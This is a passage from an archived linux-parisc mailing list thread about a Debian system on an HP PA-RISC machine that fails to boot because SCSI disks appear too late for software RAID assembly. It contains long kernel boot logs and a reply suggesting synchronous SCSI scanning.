device found, idVendor=1d6b, idProduct=0001
Mar 29 08:46:07 czapp005 kernel: [17179574.892000] usb usb1: New USB 
device strings: Mfr=3, Product=2, SerialNumber=1
Mar 29 08:46:07 czapp005 kernel: [17179574.896000] usb usb1: Product: 
OHCI Host Controller
Mar 29 08:46:07 czapp005 kernel: [17179574.900000] usb usb1: 
Manufacturer: Linux 2.6.26-1-parisc ohci_hcd
Mar 29 08:46:07 czapp005 kernel: [17179574.904000] usb usb1: 
SerialNumber: 0000:00:0e.2
Mar 29 08:46:07 czapp005 kernel: [17179574.908000] hub 1-0:1.0: state 7 
ports 3 chg 0000 evt 0006
Mar 29 08:46:07 czapp005 kernel: [17179574.908000] ohci_hcd 
0000:00:0e.2: GetStatus roothub.portstatus [0] = 0x00010101 CSC PPS CCS
Mar 29 08:46:07 czapp005 kernel: [17179574.908000] hub 1-0:1.0: port 1, 
status 0101, change 0001, 12 Mb/s
Mar 29 08:46:07 czapp005 kernel: [17179574.932000] Uniform 
Multi-Platform E-IDE driver
Mar 29 08:46:07 czapp005 kernel: [17179574.936000] ide: Assuming 33MHz 
system bus speed for PIO modes; override with idebus=xx
Mar 29 08:46:07 czapp005 kernel: [17179574.948000] NS87415: IDE 
controller (0x100b:0x0002 rev 0x03) at  PCI slot 0000:00:0e.0
Mar 29 08:46:07 czapp005 kernel: [17179574.952000] NS87415: 100% native 
mode on irq 7
Mar 29 08:46:07 czapp005 kernel: [17179574.960000]     ide0: BM-DMA at 
0x0a00-0x0a07
Mar 29 08:46:07 czapp005 kernel: [17179574.964000]     ide1: BM-DMA at 
0x0a08-0x0a0f
Mar 29 08:46:07 czapp005 kernel: [17179574.968000] Probing IDE interface 
ide0...
Mar 29 08:46:07 czapp005 kernel: [17179575.044000] hub 1-0:1.0: 
debounce: port 1: total 100ms stable 100ms status 0x101
Mar 29 08:46:07 czapp005 kernel: [17179575.116000] ohci_hcd 
0000:00:0e.2: GetStatus roothub.portstatus [0] = 0x00100103 PRSC PPS PES CCS
Mar 29 08:46:07 czapp005 kernel: [17179575.172000] usb 1-1: new full 
speed USB device using ohci_hcd and address 2
Mar 29 08:46:07 czapp005 kernel: [17179575.248000] ohci_hcd 
0000:00:0e.2: GetStatus roothub.portstatus [0] = 0x00100103 PRSC PPS PES CCS
Mar 29 08:46:07 czapp005 kernel: [17179575.328000] usb 1-1: default 
language 0x0409
Mar 29 08:46:07 czapp005 kernel: [17179575.336000] usb 1-1: uevent
Mar 29 08:46:07 czapp005 kernel: [17179575.336000] usb 1-1: usb_probe_device
Mar 29 08:46:07 czapp005 kernel: [17179575.336000] usb 1-1: 
configuration #1 chosen from 1 choice
Mar 29 08:46:07 czapp005 kernel: [17179575.340000] usb 1-1: adding 
1-1:1.0 (config #1, interface 0)
Mar 29 08:46:07 czapp005 kernel: [17179575.340000] usb 1-1:1.0: uevent
Mar 29 08:46:07 czapp005 kernel: [17179575.340000] usb 1-1: New USB 
device found, idVendor=1687, idProduct=0163
Mar 29 08:46:07 czapp005 kernel: [17179575.344000] usb 1-1: New USB 
device strings: Mfr=1, Product=2, SerialNumber=3
Mar 29 08:46:07 czapp005 kernel: [17179575.348000] usb 1-1: Product: 
USB2.0 FlashDisk
Mar 29 08:46:07 czapp005 kernel: [17179575.352000] usb 1-1: 
Manufacturer: Kingmax
Mar 29 08:46:07 czapp005 kernel: [17179575.360000] usb 1-1: 
SerialNumber: 020000000001B4
Mar 29 08:46:07 czapp005 kernel: [17179575.364000] ohci_hcd 
0000:00:0e.2: GetStatus roothub.portstatus [1] = 0x00010301 CSC LSDA PPS CCS
Mar 29 08:46:07 czapp005 kernel: [17179575.364000] hub 1-0:1.0: port 2, 
status 0301, change 0001, 1.5 Mb/s
Mar 29 08:46:07 czapp005 kernel: [17179575.372000] hda: FX4830T, ATAPI 
CD/DVD-ROM drive
Mar 29 08:46:07 czapp005 kernel: [17179575.436000] Initializing USB Mass 
Storage driver...
Mar 29 08:46:07 czapp005 kernel: [17179575.492000] hub 1-0:1.0: 
debounce: port 2: total 100ms stable 100ms status 0x301
Mar 29 08:46:07 czapp005 kernel: [17179575.564000] ohci_hcd 
0000:00:0e.2: GetStatus roothub.portstatus [1] = 0x00100303 PRSC LSDA 
PPS PES CCS
Mar 29 08:46:07 czapp005 kernel: [17179575.620000] usb 1-2: new low 
speed USB device using ohci_hcd and address 3
Mar 29 08:46:07 czapp005 kernel: [17179575.696000] ohci_hcd 
0000:00:0e.2: GetStatus roothub.portstatus [1] = 0x00100303 PRSC LSDA 
PPS PES CCS
Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: skipped 1 
descriptor after interface
Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: skipped 1 
descriptor after interface
Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: skipped 1 
descriptor after interface
Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: uevent
Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: usb_probe_device
Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: 
configuration #1 chosen from 1 choice
Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2: adding 
1-2:1.0 (config #1, interface 0)
Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2:1.0: uevent
Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2: adding 
1-2:1.1 (config #1, interface 1)
Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2:1.1: uevent
Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2: adding 
1-2:1.2 (config #1, interface 2)
Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2:1.2: uevent
Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2: New USB 
device found, idVendor=05e3, idProduct=ffe0
Mar 29 08:46:07 czapp005 kernel: [17179575.792000] usb 1-2: New USB 
device strings: Mfr=0, Product=0, SerialNumber=0
Mar 29 08:46:07 czapp005 kernel: [17179575.800000] hub 1-0:1.0: state 7 
ports 3 chg 0000 evt 0004
Mar 29 08:46:07 czapp005 kernel: [17179575.832000] usb-storage 1-1:1.0: 
usb_probe_interface
Mar 29 08:46:07 czapp005 kernel: [17179575.832000] usb-storage 1-1:1.0: 
usb_probe_interface - got id
Mar 29 08:46:07 czapp005 kernel: [17179575.832000] scsi2 : SCSI 
emulation for USB Mass Storage devices
Mar 29 08:46:07 czapp005 kernel: [17179575.836000] usbcore: registered 
new interface driver usb-storage
Mar 29 08:46:07 czapp005 kernel: [17179575.840000] USB Mass Storage 
support registered.
Mar 29 08:46:07 czapp005 kernel: [17179575.848000] usb-storage: device 
found at 2
Mar 29 08:46:07 czapp005 kernel: [17179575.848000] usb-storage: waiting 
for device to settle before scanning
Mar 29 08:46:07 czapp005 kernel: [17179575.956000] usbcore: registered 
new interface driver hiddev
Mar 29 08:46:07 czapp005 kernel: [17179575.960000] usbhid 1-2:1.0: 
usb_probe_interface
Mar 29 08:46:07 czapp005 kernel: [17179575.960000] usbhid 1-2:1.0: 
usb_probe_interface - got id
Mar 29 08:46:07 czapp005 kernel: [17179576.012000] input: HID 05e3:ffe0 
as /class/input/input0
Mar 29 08:46:07 czapp005 kernel: [17179576.028000] input,hidraw0: USB 
HID v1.00 Keyboard [HID 05e3:ffe0] on usb-0000:00:0e.2-2
Mar 29 08:46:07 czapp005 kernel: [17179576.032000] usbhid 1-2:1.1: 
usb_probe_interface
Mar 29 08:46:07 czapp005 kernel: [17179576.032000] usbhid 1-2:1.1: 
usb_probe_interface - got id
Mar 29 08:46:07 czapp005 kernel: [17179576.052000] Probing IDE interface 
ide1...
Mar 29 08:46:07 czapp005 kernel: [17179576.064000] input: HID 05e3:ffe0 
as /class/input/input1
Mar 29 08:46:07 czapp005 kernel: [17179576.080000] input,hidraw1: USB 
HID v1.00 Device [HID 05e3:ffe0] on usb-0000:00:0e.2-2
Mar 29 08:46:07 czapp005 kernel: [17179576.084000] usbhid 1-2:1.2: 
usb_probe_interface
Mar 29 08:46:07 czapp005 kernel: [17179576.084000] usbhid 1-2:1.2: 
usb_probe_interface - got id
Mar 29 08:46:07 czapp005 kernel: [17179576.100000] input: HID 05e3:ffe0 
as /class/input/input2
Mar 29 08:46:07 czapp005 kernel: [17179576.120000] input,hidraw2: USB 
HID v1.00 Mouse [HID 05e3:ffe0] on usb-0000:00:0e.2-2
Mar 29 08:46:07 czapp005 kernel: [17179576.124000] usbcore: registered 
new interface driver usbhid
Mar 29 08:46:07 czapp005 kernel: [17179576.128000] usbhid: v2.6:USB HID 
core driver
Mar 29 08:46:07 czapp005 kernel: [17179576.620000] ide0 at 
0xf00-0xf07,0xe02 on irq 7
Mar 29 08:46:07 czapp005 kernel: [17179576.624000] ide1 at 
0xd00-0xd07,0xb02 on irq 7
Mar 29 08:46:07 czapp005 kernel: [17179576.712000] hda: ATAPI 48X CD-ROM 
drive, 128kB Cache
Mar 29 08:46:07 czapp005 kernel: [17179576.716000] Uniform CD-ROM driver 
Revision: 3.20
Mar 29 08:46:07 czapp005 kernel: [17179579.152000] scsi 1:0:5:0: 
Direct-Access     HP 36.4G ST336706LC       HP03 PQ: 0 ANSI: 2
Mar 29 08:46:07 czapp005 kernel: [17179579.160000]  target1:0:5: tagged 
command queuing enabled, command queue depth 16.
Mar 29 08:46:07 czapp005 kernel: [17179579.164000]  target1:0:5: 
Beginning Domain Validation
Mar 29 08:46:07 czapp005 kernel: [17179579.168000]  target1:0:5: 
asynchronous
Mar 29 08:46:07 czapp005 kernel: [17179579.184000]  target1:0:5: wide 
asynchronous
Mar 29 08:46:07 czapp005 kernel: [17179579.192000]  target1:0:5: FAST-40 
WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
Mar 29 08:46:07 czapp005 kernel: [17179579.200000]  target1:0:5: Domain 
Validation skipping write tests
Mar 29 08:46:07 czapp005 kernel: [17179579.208000]  target1:0:5: Ending 
Domain Validation
Mar 29 08:46:07 czapp005 kernel: [17179579.220000] scsi 1:0:6:0: 
Direct-Access     HP 36.4G ST336706LC       HP03 PQ: 0 ANSI: 2
Mar 29 08:46:07 czapp005 kernel: [17179579.224000]  target1:0:6: tagged 
command queuing enabled, command queue depth 16.
Mar 29 08:46:07 czapp005 kernel: [17179579.228000]  target1:0:6: 
Beginning Domain Validation
Mar 29 08:46:07 czapp005 kernel: [17179579.232000]  target1:0:6: 
asynchronous
Mar 29 08:46:07 czapp005 kernel: [17179579.248000]  target1:0:6: wide 
asynchronous
Mar 29 08:46:07 czapp005 kernel: [17179579.256000]  target1:0:6: FAST-40 
WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
Mar 29 08:46:07 czapp005 kernel: [17179579.268000]  target1:0:6: Domain 
Validation skipping write tests
Mar 29 08:46:07 czapp005 kernel: [17179579.272000]  target1:0:6: Ending 
Domain Validation
Mar 29 08:46:07 czapp005 kernel: [17179580.848000] usb-storage: device 
scan complete
Mar 29 08:46:07 czapp005 kernel: [17179580.852000] scsi 2:0:0:0: 
Direct-Access     Kingmax  USB2.0 FlashDisk 0.00 PQ: 0 ANSI: 2
Mar 29 08:46:07 czapp005 kernel: [17179581.808000] Driver 'sd' needs 
updating - please use bus_type methods
Mar 29 08:46:07 czapp005 kernel: [17179581.840000] sd 1:0:5:0: [sda] 
71132960 512-byte hardware sectors (36420 MB)
Mar 29 08:46:07 czapp005 kernel: [17179581.844000] sd 1:0:5:0: [sda] 
Write Protect is off
Mar 29 08:46:07 czapp005 kernel: [17179581.848000] sd 1:0:5:0: [sda] 
Mode Sense: 9f 00 10 08
Mar 29 08:46:07 czapp005 kernel: [17179581.852000] sd 1:0:5:0: [sda] 
Write cache: enabled, read cache: enabled, supports DPO and FUA
Mar 29 08:46:07 czapp005 kernel: [17179581.856000] sd 1:0:5:0: [sda] 
71132960 512-byte hardware sectors (36420 MB)
Mar 29 08:46:07 czapp005 kernel: [17179581.864000] sd 1:0:5:0: [sda] 
Write Protect is off
Mar 29 08:46:07 czapp005 kernel: [17179581.868000] sd 1:0:5:0: [sda] 
Mode Sense: 9f 00 10 08
Mar 29 08:46:07 czapp005 kernel: [17179581.868000] sd 1:0:5:0: [sda] 
Write cache: enabled, read cache: enabled, supports DPO and FUA
Mar 29 08:46:07 czapp005 kernel: [17179581.876000]  sda: sda1 sda2 sda3 sda4
Mar 29 08:46:07 czapp005 kernel: [17179581.884000] sd 1:0:5:0: [sda] 
Attached SCSI disk
Mar 29 08:46:07 czapp005 kernel: [17179581.900000] sd 1:0:6:0: [sdb] 
71132960 512-byte hardware sectors (36420 MB)
Mar 29 08:46:07 czapp005 kernel: [17179581.908000] sd 1:0:6:0: [sdb] 
Write Protect is off
Mar 29 08:46:07 czapp005 kernel: [17179581.912000] sd 1:0:6:0: [sdb] 
Mode Sense: 9f 00 10 08
Mar 29 08:46:07 czapp005 kernel: [17179581.912000] sd 1:0:6:0: [sdb] 
Write cache: enabled, read cache: enabled, supports DPO and FUA
Mar 29 08:46:07 czapp005 kernel: [17179581.920000] sd 1:0:6:0: [sdb] 
71132960 512-byte hardware sectors (36420 MB)
Mar 29 08:46:07 czapp005 kernel: [17179581.924000] sd 1:0:6:0: [sdb] 
Write Protect is off
Mar 29 08:46:07 czapp005 kernel: [17179581.928000] sd 1:0:6:0: [sdb] 
Mode Sense: 9f 00 10 08
Mar 29 08:46:07 czapp005 kernel: [17179581.932000] sd 1:0:6:0: [sdb] 
Write cache: enabled, read cache: enabled, supports DPO and FUA
Mar 29 08:46:07 czapp005 kernel: [17179581.936000]  sdb: sdb1 sdb2 sdb3 sdb4
Mar 29 08:46:07 czapp005 kernel: [17179581.944000] sd 1:0:6:0: [sdb] 
Attached SCSI disk
Mar 29 08:46:07 czapp005 kernel: [17179581.964000] sd 2:0:0:0: [sdc] 
3948543 512-byte hardware sectors (2022 MB)
Mar 29 08:46:07 czapp005 kernel: [17179581.968000] ohci_hcd 
0000:00:0e.2: urb 4fa4e960 path 1 ep2in 92120000 cc 9 --> status -181
Mar 29 08:46:07 czapp005 kernel: [17179581.972000] sd 2:0:0:0: [sdc] 
Write Protect is off
Mar 29 08:46:07 czapp005 kernel: [17179581.976000] sd 2:0:0:0: [sdc] 
Mode Sense: 00 00 00 00
Mar 29 08:46:07 czapp005 kernel: [17179581.976000] sd 2:0:0:0: [sdc] 
Assuming drive cache: write through
Mar 29 08:46:07 czapp005 kernel: [17179582.004000] sd 2:0:0:0: [sdc] 
3948543 512-byte hardware sectors (2022 MB)
Mar 29 08:46:07 czapp005 kernel: [17179582.008000] ohci_hcd 
0000:00:0e.2: urb 4fa4e960 path 1 ep2in 93120000 cc 9 --> status -181
Mar 29 08:46:07 czapp005 kernel: [17179582.012000] sd 2:0:0:0: [sdc] 
Write Protect is off
Mar 29 08:46:07 czapp005 kernel: [17179582.016000] sd 2:0:0:0: [sdc] 
Mode Sense: 00 00 00 00
Mar 29 08:46:07 czapp005 kernel: [17179582.016000] sd 2:0:0:0: [sdc] 
Assuming drive cache: write through
Mar 29 08:46:07 czapp005 kernel: [17179582.020000]  sdc: unknown 
partition table
Mar 29 08:46:07 czapp005 kernel: [17179582.136000] sd 2:0:0:0: [sdc] 
Attached SCSI removable disk
Mar 29 08:46:07 czapp005 kernel: [17179616.956000] md: raid1 personality 
registered for level 1
Mar 29 08:46:07 czapp005 kernel: [17179617.028000] md: md0 stopped.
Mar 29 08:46:07 czapp005 kernel: [17179617.204000] md: bind<sdb1>
Mar 29 08:46:07 czapp005 kernel: [17179617.208000] md: bind<sda1>
Mar 29 08:46:07 czapp005 kernel: [17179617.256000] raid1: raid set md0 
active with 2 out of 2 mirrors
Mar 29 08:46:07 czapp005 kernel: [17179617.532000] device-mapper: 
uevent: version 1.0.3
Mar 29 08:46:07 czapp005 kernel: [17179617.544000] device-mapper: ioctl: 
4.13.0-ioctl (2007-10-18) initialised: dm-devel@redhat.com
Mar 29 08:46:07 czapp005 kernel: [17179620.184000] kjournald starting.  
Commit interval 5 seconds
Mar 29 08:46:07 czapp005 kernel: [17179620.188000] EXT3-fs: mounted 
filesystem with ordered data mode.
Mar 29 08:46:07 czapp005 kernel: [17179622.040000] udevd version 125 started
Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb usb1: uevent
Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-0:1.0: uevent
Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-1: uevent
Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-1:1.0: uevent
Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-2: uevent
Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-2:1.0: uevent
Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-2:1.1: uevent
Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-2:1.2: uevent
Mar 29 08:46:07 czapp005 kernel: [17179627.072000] Adding 498004k swap 
on /dev/sdb4.  Priority:-1 extents:1 across:498004k
Mar 29 08:46:07 czapp005 kernel: [17179637.300000] EXT3 FS on dm-0, 
internal journal
Mar 29 08:46:07 czapp005 kernel: [17179638.544000] LASI 82596 driver - 
Revision: 1.30
Mar 29 08:46:07 czapp005 kernel: [17179638.588000] loop: module loaded
Mar 29 08:46:07 czapp005 kernel: [17179642.092000] kjournald starting.  
Commit interval 5 seconds
Mar 29 08:46:07 czapp005 kernel: [17179642.096000] EXT3 FS on sda3, 
internal journal
Mar 29 08:46:07 czapp005 kernel: [17179642.100000] EXT3-fs: mounted 
filesystem with ordered data mode.
Mar 29 08:46:07 czapp005 kernel: [17179642.128000] kjournald starting.  
Commit interval 5 seconds
Mar 29 08:46:07 czapp005 kernel: [17179642.152000] EXT3 FS on dm-1, 
internal journal
Mar 29 08:46:07 czapp005 kernel: [17179642.156000] EXT3-fs: mounted 
filesystem with ordered data mode.
Mar 29 08:46:07 czapp005 kernel: [17179642.196000] kjournald starting.  
Commit interval 5 seconds
Mar 29 08:46:07 czapp005 kernel: [17179642.200000] EXT3 FS on dm-2, 
internal journal
Mar 29 08:46:07 czapp005 kernel: [17179642.204000] EXT3-fs: mounted 
filesystem with ordered data mode.
Mar 29 08:46:09 czapp005 kernel: [17179647.156000] eth0: Setting 
full-duplex based on MII#1 link partner capability of 41e1.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: delay in disc detection causes boot failure
Date: Mon, 30 Mar 2009 16:22:13 -0600
Lines: 690
Approved: news@gmane.org
Message-ID: <20090330222213.GA18094@colo.lackof.org>
References: <49D118F7.5040809@seznam.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238451760 16797 80.91.229.12 (30 Mar 2009 22:22:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Mar 2009 22:22:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: AlesD <ales_d@seznam.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 31 00:23:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoPtc-00082U-44
	for glpp-linux-parisc@gmane.org; Tue, 31 Mar 2009 00:23:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754546AbZC3WWb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Mar 2009 18:22:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754403AbZC3WWb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Mar 2009 18:22:31 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:60206 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751196AbZC3WW2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Mar 2009 18:22:28 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EF3314F8049;
	Mon, 30 Mar 2009 16:22:25 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21468-04; Mon, 30 Mar 2009 16:22:14 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D15934F8048; Mon, 30 Mar 2009 16:22:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <49D118F7.5040809@seznam.cz>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1426
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1426>

On Mon, Mar 30, 2009 at 09:09:43PM +0200, AlesD wrote:
> Hello,
>
>  I have installed HP-PA port of Debian 5.0 and got into following problem.
>
> The root filesystem is on SW RAID. At the end of kernel initialization 
> comes reset on SCSI bus. After this reset it takes about 6 seconds before 
> the attached SCSI disks become "visible" and are detected by kernel. The 
> initialization process however goes on and during this 6s it tries to 
> assemble the MD device. Since the discs do not exist yet the assembly fails 
> and root filesystem is not found. The init script waits 3 minutes before 
> giving up - which would normaly do the trick if the root was directly in 
> one partition. With RAID (and LVM a top of it) the init ends with fiasco.

Is it possible this is due to a change in how the kernel detects devices?
Have you tried with "scsi_mod.scan=sync" boot time parameter?

drivers/scsi/Kconfig says:
config SCSI_SCAN_ASYNC
        bool "Asynchronous SCSI scanning"
        depends on SCSI
        help
          The SCSI subsystem can probe for devices while the rest of the
          system continues booting, and even probe devices on different
          busses in parallel, leading to a significant speed-up.

          If you have built SCSI as modules, enabling this option can
          be a problem as the devices may not have been found by the
          time your system expects them to have been.  You can load the
          scsi_wait_scan module to ensure that all scans have completed.
          If you build your SCSI drivers into the kernel, then everything
          will work fine if you say Y here.

          You can override this choice by specifying "scsi_mod.scan=sync"
          or async on the kernel's command line.

cheers,
grant

>
> To overcome this I put simple "sleep 30" in the initram scripts - just 
> before assembly of the MD device. I understand that this issue is more for 
> Debian, but before reporting ther I'd like to ask here:
> 1) does anyone here know, why there is the reset/delay during boot, and
> 2) and if message "Driver 'sd' needs updating - please use bus_type 
> methods" might have anything to do with this problem.
>
> Thanks in advance Ales Dolecek
>
> Mar 29 08:46:07 czapp005 kernel: imklog 3.18.6, log source = /proc/kmsg 
> started.
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] Initializing cgroup subsys 
> cpu
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] Linux version 
> 2.6.26-1-parisc (Debian 2.6.26-13lenny2) (dannf@debian.org) (gcc version 
> 4.1.3 20080704 (prerelease) (Debian 4.1.2-25)) #1 Tue Mar 17 13:15:40 UTC 
> 2009
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] FP[0] enabled: Rev 1 Model 
> 19
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] The 32-bit Kernel has 
> started...
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] console [ttyB0] enabled
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] Initialized PDC Console for 
> debugging.
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] Determining PDC firmware 
> type: System Map.
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] model 00005dc0 00000481 
> 00000000 00000002 77d75e12 100000f0 00000008 000000b2 000000b2
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] vers  00000203
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] CPUID vers 19 rev 7 
> (0x00000267)
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] capabilities 0x7
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] model 9000/785/C3700
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] Total Memory: 1024 MB
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] initrd: 4f7eb000-4ffee560
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] initrd: reserving 
> 3f7eb000-3ffee560 (mem_max 40000000)
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] On node 0 totalpages: 
> 262144
> Mar 29 08:46:07 czapp005 kernel: [    0.000000]   Normal zone: 2048 pages 
> used for memmap
> Mar 29 08:46:07 czapp005 kernel: [    0.000000]   Normal zone: 0 pages 
> reserved
> Mar 29 08:46:07 czapp005 kernel: [    0.000000]   Normal zone: 260096 
> pages, LIFO batch:31
> Mar 29 08:46:07 czapp005 kernel: [    0.000000]   Movable zone: 0 pages 
> used for memmap
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] LCD display at 
> f05d0008,f05d0000 registered
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] Built 1 zonelists in Zone 
> order, mobility grouping on.  Total pages: 260096
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] Kernel command line: 
> root=/dev/mapper/safe-system HOME=/ console=tty0 sti=10/6/2/0 
> sti_font=VGA8x16 TERM=linux palo_kernel=3/vmlinux
> Mar 29 08:46:07 czapp005 kernel: [    0.000000] PID hash table entries: 
> 4096 (order: 12, 16384 bytes)
> Mar 29 08:46:07 czapp005 kernel: [17179569.184000] Console: colour dummy 
> device 160x64
> Mar 29 08:46:07 czapp005 kernel: [17179569.192000] console handover: boot 
> [ttyB0] -> real [tty0]
> Mar 29 08:46:07 czapp005 kernel: [17179569.200000] Dentry cache hash table 
> entries: 131072 (order: 7, 524288 bytes)
> Mar 29 08:46:07 czapp005 kernel: [17179569.200000] Inode-cache hash table 
> entries: 65536 (order: 6, 262144 bytes)
> Mar 29 08:46:07 czapp005 kernel: [17179569.248000] Memory: 
> 1025664k/1048576k available (1961k kernel code, 22704k reserved, 882k data, 
> 224k init)
> Mar 29 08:46:07 czapp005 kernel: [17179569.248000] virtual kernel memory 
> layout:
> Mar 29 08:46:07 czapp005 kernel: [17179569.248000]     vmalloc : 0x00008000 
> - 0x0f000000   ( 239 MB)
> Mar 29 08:46:07 czapp005 kernel: [17179569.248000]     memory  : 0x10000000 
> - 0x50000000   (1024 MB)
> Mar 29 08:46:07 czapp005 kernel: [17179569.248000]       .init : 0x10410000 
> - 0x10448000   ( 224 kB)
> Mar 29 08:46:07 czapp005 kernel: [17179569.248000]       .data : 0x102ea6c0 
> - 0x103c7000   ( 882 kB)
> Mar 29 08:46:07 czapp005 kernel: [17179569.248000]       .text : 0x10100000 
> - 0x102ea6c0   (1961 kB)
> Mar 29 08:46:07 czapp005 kernel: [17179569.248000] Calibrating delay 
> loop... 1495.04 BogoMIPS (lpj=2990080)
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Security Framework 
> initialized
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] SELinux:  Disabled at 
> boot.
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Capability LSM 
> initialized
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Mount-cache hash table 
> entries: 512
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Initializing cgroup 
> subsys ns
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Initializing cgroup 
> subsys cpuacct
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Initializing cgroup 
> subsys devices
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] net_namespace: 648 bytes
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] NET: Registered protocol 
> family 16
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] EISA bus registered
> Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Searching for devices...
> Mar 29 08:46:07 czapp005 kernel: [17179569.576000] Found devices:
> Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 1. Astro BC Runway Port 
> at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
> Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 2. Elroy PCI Bridge at 
> 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
> Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 3. Elroy PCI Bridge at 
> 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
> Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 4. Elroy PCI Bridge at 
> 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
> Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 5. Elroy PCI Bridge at 
> 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
> Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 6. Allegro W2 at 
> 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
> Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 7. Memory at 0xfed10200 
> [49] { 1, 0x0, 0x09c, 0x00009 }
> Mar 29 08:46:07 czapp005 kernel: [17179569.576000] Enabling regular chassis 
> codes support v0.05
> Mar 29 08:46:07 czapp005 kernel: [17179569.708000] CPU(s): 1 x PA8700 
